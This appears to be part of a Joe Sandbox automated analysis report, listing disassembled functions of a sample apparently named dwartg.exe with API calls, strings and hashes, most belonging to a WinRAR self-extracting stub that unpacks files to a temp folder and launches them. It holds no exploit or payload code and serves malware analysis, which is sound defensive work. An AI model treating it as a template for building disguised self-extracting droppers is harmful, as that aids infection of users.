Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _free$ByteCharEnvironmentMultiStringsWide$Free
String ID: hB7
API String ID: 400815659-3279407874
Opcode ID: 592514f35efd861a882f7d73752c97b7f043c823d249be6ab8dd18c9509750a1
Instruction ID: 11d2e1e417bebf3a0902b5ff0f25c258c4160e049837c16d8326091637097778
Opcode Fuzzy Hash: 592514f35efd861a882f7d73752c97b7f043c823d249be6ab8dd18c9509750a1
Instruction Fuzzy Hash: 82E02B22A0B810C1D633323E6CC3B6F02084BC1730F260317F828DE1C3DE948842019B

Uniqueness

Uniqueness Score: -1.00%

Function 00322303 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00322526,?), ref: 00322309
GetLastError.KERNEL32(?), ref: 00322315

Part of subcall function 003176E9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00317707

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 0032231E

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 19a3d905c41e3950e725a3095f11d96fb25f2bd73cb64ec46990b85235e6fd03
Instruction ID: 871b2f6c4bafdd719858f9d784321a98bd2681d6cb85d7f42335693917b9e1f9
Opcode Fuzzy Hash: 19a3d905c41e3950e725a3095f11d96fb25f2bd73cb64ec46990b85235e6fd03
Instruction Fuzzy Hash: 9AD0123950892137C51367287C09EEEB9195B22770F290714F6355A1E1CE6009A181A5

Uniqueness

Uniqueness Score: -1.00%

Function 0031F5BE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,0031ED75,?), ref: 0031F5C3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,0031ED75,?), ref: 0031F5D1

Strings

RTL, xrefs: 0031F5CB

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 1b880b6d277f01fd9269b93d3a5ff9f1e7b482788b9ce204a50b4fd25b503b81
Instruction ID: a2e55fdea944c51a46405599d50f51549ad76ae86e09c8252c4240c28ec24ff6
Opcode Fuzzy Hash: 1b880b6d277f01fd9269b93d3a5ff9f1e7b482788b9ce204a50b4fd25b503b81
Instruction Fuzzy Hash: 2FC0123124475056D73227716C0DBC36E9C5B02755F060468B601DE1C0DEE5E8858660

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dwartg.exePID: 7628, Parent PID: 7588COMMON

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1497
Total number of Limit Nodes:	44

Executed Functions

Function 0073DF1E Relevance: 42.2, APIs: 17, Strings: 7, Instructions: 195
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00730863: GetModuleHandleW.KERNEL32(kernel32), ref: 0073087C
Part of subcall function 00730863: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0073088E
Part of subcall function 00730863: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 007308BF

Part of subcall function 0073A64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 0073A655

Part of subcall function 0073AC16: OleInitialize.OLE32(00000000), ref: 0073AC2F
Part of subcall function 0073AC16: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0073AC66
Part of subcall function 0073AC16: SHGetMalloc.SHELL32(00768438), ref: 0073AC70

GetCommandLineW.KERNEL32 ref: 0073DF5C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0073DF83
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 0073DF94
UnmapViewOfFile.KERNEL32(00000000), ref: 0073DFCE

Part of subcall function 0073DBDE: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0073DBF4
Part of subcall function 0073DBDE: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0073DC30

CloseHandle.KERNEL32(00000000), ref: 0073DFD7
GetModuleFileNameW.KERNEL32(00000000,0077EC90,00000800), ref: 0073DFF2
SetEnvironmentVariableW.KERNEL32(sfxname,0077EC90), ref: 0073DFFE
GetLocalTime.KERNEL32(?), ref: 0073E009
_swprintf.LIBCMT ref: 0073E048
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 0073E05A
GetModuleHandleW.KERNEL32(00000000), ref: 0073E061
LoadIconW.USER32(00000000,00000064), ref: 0073E078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 0073E0C9
Sleep.KERNEL32(?), ref: 0073E0F7
DeleteObject.GDI32 ref: 0073E130
DeleteObject.GDI32(?), ref: 0073E140
CloseHandle.KERNEL32 ref: 0073E183

Strings

sfxstime, xrefs: 0073E055
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0073E039
sfxname, xrefs: 0073DFF9
C:\Users\user\AppData\Local\Temp\RarSFX1, xrefs: 0073DF33
STARTDLG, xrefs: 0073E0BE
xzw, xrefs: 0073E10B
winrarsfxmappingfile.tmp, xrefs: 0073DF77

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\AppData\Local\Temp\RarSFX1$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp$xzw
API String ID: 3049964643-1494992444
Opcode ID: 38b9e1b5b99c2aa10d6d58227e466c714dcb22da63b213656e4eca8409837d02
Instruction ID: 3ce6a7dfe6a05c42f689bcca66617a72c1c8ef81e3049b9d98c8ab100d90662c
Opcode Fuzzy Hash: 38b9e1b5b99c2aa10d6d58227e466c714dcb22da63b213656e4eca8409837d02
Instruction Fuzzy Hash: 1A61F871504349AFE720AF74AC4DF6B7BACEB04781F048429F94A921E2DBBC9D44C766

Uniqueness

Uniqueness Score: -1.00%

Function 0072A69B Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0072A592,000000FF,?,?), ref: 0072A6C4

Part of subcall function 0072BB03: _wcslen.LIBCMT ref: 0072BB27

FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0072A592,000000FF,?,?), ref: 0072A6F2
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0072A592,000000FF,?,?), ref: 0072A6FE
FindNextFileW.KERNEL32(?,?,?,?,?,?,0072A592,000000FF,?,?), ref: 0072A728
GetLastError.KERNEL32(?,?,?,?,0072A592,000000FF,?,?), ref: 0072A734

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: 1b0a1501be424608ded7f985deeb666a314e078ae768f6b6fb4ace685d82ef4d
Instruction ID: de6ccd0a550585c47d3b77673c22e88016b2180b870af1ae5651ac60ffc59e41
Opcode Fuzzy Hash: 1b0a1501be424608ded7f985deeb666a314e078ae768f6b6fb4ace685d82ef4d
Instruction Fuzzy Hash: B2419272500225EBCB25DF68DC88AEAF7B8FB48350F104196E56EE3240D7386E90CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00747DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00747DC4,00000000,0075C300,0000000C,00747F1B,00000000,00000002,00000000), ref: 00747E0F
TerminateProcess.KERNEL32(00000000,?,00747DC4,00000000,0075C300,0000000C,00747F1B,00000000,00000002,00000000), ref: 00747E16
ExitProcess.KERNEL32 ref: 00747E28

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ab95eb1e0a21fe26154e0d5de2f5e74ecfe6e776d01a8c56bc3ae22836c1c081
Instruction ID: 872434054aed0b400523c31108c371dc0ef3df88f67564a4444e4fabbfc99b5d
Opcode Fuzzy Hash: ab95eb1e0a21fe26154e0d5de2f5e74ecfe6e776d01a8c56bc3ae22836c1c081
Instruction Fuzzy Hash: A2E04631000648EBCF066F20CD0DA8A3F6AEB00382B008594F8098B132CB7EDE52CA84

Uniqueness

Uniqueness Score: -1.00%

Function 0072848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00728493

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7aa18e5d5fb513f584b896f1b3503c15446c87fb96b63ad97d5fc8c762c9fb7e
Instruction ID: 78e3264be0b5a8df96321a11d434ea08955e716e561a5b72cec62b00196629d8
Opcode Fuzzy Hash: 7aa18e5d5fb513f584b896f1b3503c15446c87fb96b63ad97d5fc8c762c9fb7e
Instruction Fuzzy Hash: 0C824E70905165EEDF65CF64D885BFAB7B9BF05300F0C41B9E8499B243CB3A5A88C761

Uniqueness

Uniqueness Score: -1.00%

Function 0073B7E0 Relevance: 109.2, APIs: 48, Strings: 14, Instructions: 731windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0073B7E5

Part of subcall function 00721316: GetDlgItem.USER32(00000000,00003021), ref: 0072135A
Part of subcall function 00721316: SetWindowTextW.USER32(00000000,007535F4), ref: 00721370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0073B8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0073B8EF
IsDialogMessageW.USER32(?,?), ref: 0073B902
TranslateMessage.USER32(?), ref: 0073B910
DispatchMessageW.USER32(?), ref: 0073B91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 0073B93D
EndDialog.USER32(?,00000001), ref: 0073B960
GetDlgItem.USER32(?,00000068), ref: 0073B983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0073B99E
SendMessageW.USER32(00000000,000000C2,00000000,007535F4), ref: 0073B9B1

Part of subcall function 0073D453: _wcschr.LIBVCRUNTIME ref: 0073D45C
Part of subcall function 0073D453: _wcslen.LIBCMT ref: 0073D47D

SetFocus.USER32(00000000), ref: 0073B9B8
_swprintf.LIBCMT ref: 0073BA24

Part of subcall function 00724092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 007240A5

Part of subcall function 0073D4D4: GetDlgItem.USER32(00000068,0077FCB8), ref: 0073D4E8
Part of subcall function 0073D4D4: ShowWindow.USER32(00000000,00000005,?,?,?,0073AF07,00000001,?,?,0073B7B9,0075506C,0077FCB8,0077FCB8,00001000,00000000,00000000), ref: 0073D510
Part of subcall function 0073D4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0073D51B
Part of subcall function 0073D4D4: SendMessageW.USER32(00000000,000000C2,00000000,007535F4), ref: 0073D529
Part of subcall function 0073D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0073D53F
Part of subcall function 0073D4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0073D559
Part of subcall function 0073D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0073D59D
Part of subcall function 0073D4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0073D5AB
Part of subcall function 0073D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0073D5BA
Part of subcall function 0073D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0073D5E1
Part of subcall function 0073D4D4: SendMessageW.USER32(00000000,000000C2,00000000,007543F4), ref: 0073D5F0

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 0073BA68
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 0073BA90
GetTickCount.KERNEL32 ref: 0073BAAE
_swprintf.LIBCMT ref: 0073BAC2
GetLastError.KERNEL32(?,00000011), ref: 0073BAF4
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 0073BB43
_swprintf.LIBCMT ref: 0073BB7C
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 0073BBD0
GetCommandLineW.KERNEL32 ref: 0073BBEA
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 0073BC47
ShellExecuteExW.SHELL32(0000003C), ref: 0073BC6F
Sleep.KERNEL32(00000064), ref: 0073BCB9
UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 0073BCE2
CloseHandle.KERNEL32(00000000), ref: 0073BCEB
_swprintf.LIBCMT ref: 0073BD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0073BD7D
SetDlgItemTextW.USER32(?,00000065,007535F4), ref: 0073BD94
GetDlgItem.USER32(?,00000065), ref: 0073BD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 0073BDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0073BDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0073BE68
_wcslen.LIBCMT ref: 0073BEBE
_swprintf.LIBCMT ref: 0073BEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 0073BF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 0073BF4C
GetDlgItem.USER32(?,00000068), ref: 0073BF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 0073BF6B
GetDlgItem.USER32(?,00000066), ref: 0073BF85
SetWindowTextW.USER32(00000000,0076A472), ref: 0073BFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 0073C007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0073C01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 0073C0BD
EnableWindow.USER32(00000000,00000000), ref: 0073C197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 0073C1D9

Part of subcall function 0073C73F: __EH_prolog.LIBCMT ref: 0073C744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0073C1FD

Strings

%s, xrefs: 0073BED8
-el -s2 "-d%s" "-sp%s", xrefs: 0073BB6B
@, xrefs: 0073BB91
C:\Users\user\AppData\Local\Temp\RarSFX1, xrefs: 0073BBC9
hs, xrefs: 0073BCA5
STARTDLG, xrefs: 0073B801
PDu<s, xrefs: 0073BC6F
winrarsfxmappingfile.tmp, xrefs: 0073BBA6
LICENSEDLG, xrefs: 0073C0B2
^s, xrefs: 0073C1E1
Qu, xrefs: 0073BBBC
"%s"%s, xrefs: 0073BD0D
__tmp_rar_sfx_access_check_%u, xrefs: 0073BAB5
<, xrefs: 0073BB84

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$DialogErrorLast$H_prologLongView_wcslen$CloseCommandCountCreateDispatchEnableExecuteFocusHandleLineMappingModuleNameParamShellShowSleepTickTranslateUnmap__vswprintf_c_l_wcschr
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\AppData\Local\Temp\RarSFX1$LICENSEDLG$PDu<s$STARTDLG$^s$__tmp_rar_sfx_access_check_%u$hs$winrarsfxmappingfile.tmp$Qu
API String ID: 4093411769-3706725595
Opcode ID: 50e4ab125df4b1a5d3c8b089f49e8b5ff65317a735412f1585aaaf729c8a25ba
Instruction ID: 0d9ac4ed9b2ee2f1ffaacead047d36450ce664eda37f6f93e760c6712464fb7c
Opcode Fuzzy Hash: 50e4ab125df4b1a5d3c8b089f49e8b5ff65317a735412f1585aaaf729c8a25ba
Instruction Fuzzy Hash: E242E4B1940358FAFB229B749C4EFBE3B6CAB01B40F108155F645B60D3DBBC5A448B66

Uniqueness

Uniqueness Score: -1.00%

Function 00730863 Relevance: 98.3, APIs: 23, Strings: 33, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 0073087C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0073088E
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 007308BF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00730B69
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00730B83
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00730B93
ReadFile.KERNEL32(00000000,?,00007FFE,|<u,00000000), ref: 00730BB1
CloseHandle.KERNEL32(00000000), ref: 00730C09
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00730C1E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,|<u,?,00000000,?,00000800), ref: 00730C72
GetFileAttributesW.KERNELBASE(?,?,|<u,00000800,?,00000000,?,00000800), ref: 00730C9C
GetFileAttributesW.KERNEL32(?,?,D=u,00000800), ref: 00730CD8

Part of subcall function 0073081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00730836
Part of subcall function 0073081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0072F2D8,Crypt32.dll,00000000,0072F35C,?,?,0072F33E,?,?,?), ref: 00730858

_swprintf.LIBCMT ref: 00730D4A
_swprintf.LIBCMT ref: 00730D96

Part of subcall function 00724092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 007240A5

AllocConsole.KERNEL32 ref: 00730D9E
GetCurrentProcessId.KERNEL32 ref: 00730DA8
AttachConsole.KERNEL32(00000000), ref: 00730DAF
_wcslen.LIBCMT ref: 00730DC4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00730DD5
WriteConsoleW.KERNEL32(00000000), ref: 00730DDC
Sleep.KERNEL32(00002710), ref: 00730DE7
FreeConsole.KERNEL32 ref: 00730DED
ExitProcess.KERNEL32 ref: 00730DF5

Strings

>u, xrefs: 007309C7
<u, xrefs: 00730917
?u, xrefs: 00730A35
uxtheme.dll, xrefs: 00730D17
0Au, xrefs: 00730ACF
,@u, xrefs: 00730A56
8>u, xrefs: 0073098F
T=u, xrefs: 0073093F
HAu, xrefs: 00730ADA
h>u, xrefs: 0073099F
,<u, xrefs: 007308E7
|?u, xrefs: 00730A09
H@u, xrefs: 00730A61
0?u, xrefs: 007309E8
dwmapi.dll, xrefs: 00730927, 00730D0D
@u, xrefs: 00730AAE
SetDllDirectoryW, xrefs: 00730888
D=u, xrefs: 00730CB9, 00730CC9
DXGIDebug.dll, xrefs: 007308FC, 00730C5E
kernel32, xrefs: 00730873
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00730D84
|<u, xrefs: 00730B9E, 00730BA2
h=u, xrefs: 00730947
|@u, xrefs: 00730A77
Au, xrefs: 00730B1C
dAu, xrefs: 00730AE5
H?u, xrefs: 007309F3
(=u, xrefs: 0073092F
`@u, xrefs: 00730A6C
4Bu, xrefs: 00730B3D
SetDefaultDllDirectories, xrefs: 007308B9
d?u, xrefs: 007309FE
P>u, xrefs: 00730997

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: (=u$,<u$,@u$0?u$0Au$4Bu$8>u$D=u$DXGIDebug.dll$H?u$H@u$HAu$P>u$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$T=u$`@u$d?u$dAu$dwmapi.dll$h=u$h>u$kernel32$uxtheme.dll$|<u$|?u$|@u$<u$>u$?u$@u$Au
API String ID: 1207345701-1434987480
Opcode ID: 62b9cfc8fd23f7d095fdd5e9f35b9c716cbce943582b07c91335e25dc5599654
Instruction ID: 9f8f0f58f41ba286ac0de05155314819ad34727560f3c18d7c68244d78ac29bf
Opcode Fuzzy Hash: 62b9cfc8fd23f7d095fdd5e9f35b9c716cbce943582b07c91335e25dc5599654
Instruction Fuzzy Hash: 56D1A6B1008384ABD3219F50C859BDFB7F8BB84746F50492DF989961A1D7FC864CCBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0073C73F Relevance: 51.2, APIs: 23, Strings: 6, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0073C744

Part of subcall function 0073B314: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0073B3FB

Part of subcall function 0073AF98: _wcschr.LIBVCRUNTIME ref: 0073B033

_wcslen.LIBCMT ref: 0073CA0A
_wcslen.LIBCMT ref: 0073CA13
SetWindowTextW.USER32(?,?), ref: 0073CA71
_wcslen.LIBCMT ref: 0073CAB3
_wcsrchr.LIBVCRUNTIME ref: 0073CBFB
GetDlgItem.USER32(?,00000066), ref: 0073CC36
SetWindowTextW.USER32(00000000,?), ref: 0073CC46
SendMessageW.USER32(00000000,00000143,00000000,0076A472), ref: 0073CC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0073CC7F

Strings

s, xrefs: 0073CB24
Software\Microsoft\Windows\CurrentVersion, xrefs: 0073CB1A
ProgramFilesDir, xrefs: 0073CB45
%s.%d.tmp, xrefs: 0073C940
<s, xrefs: 0073C909
<br>, xrefs: 0073C9D4

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
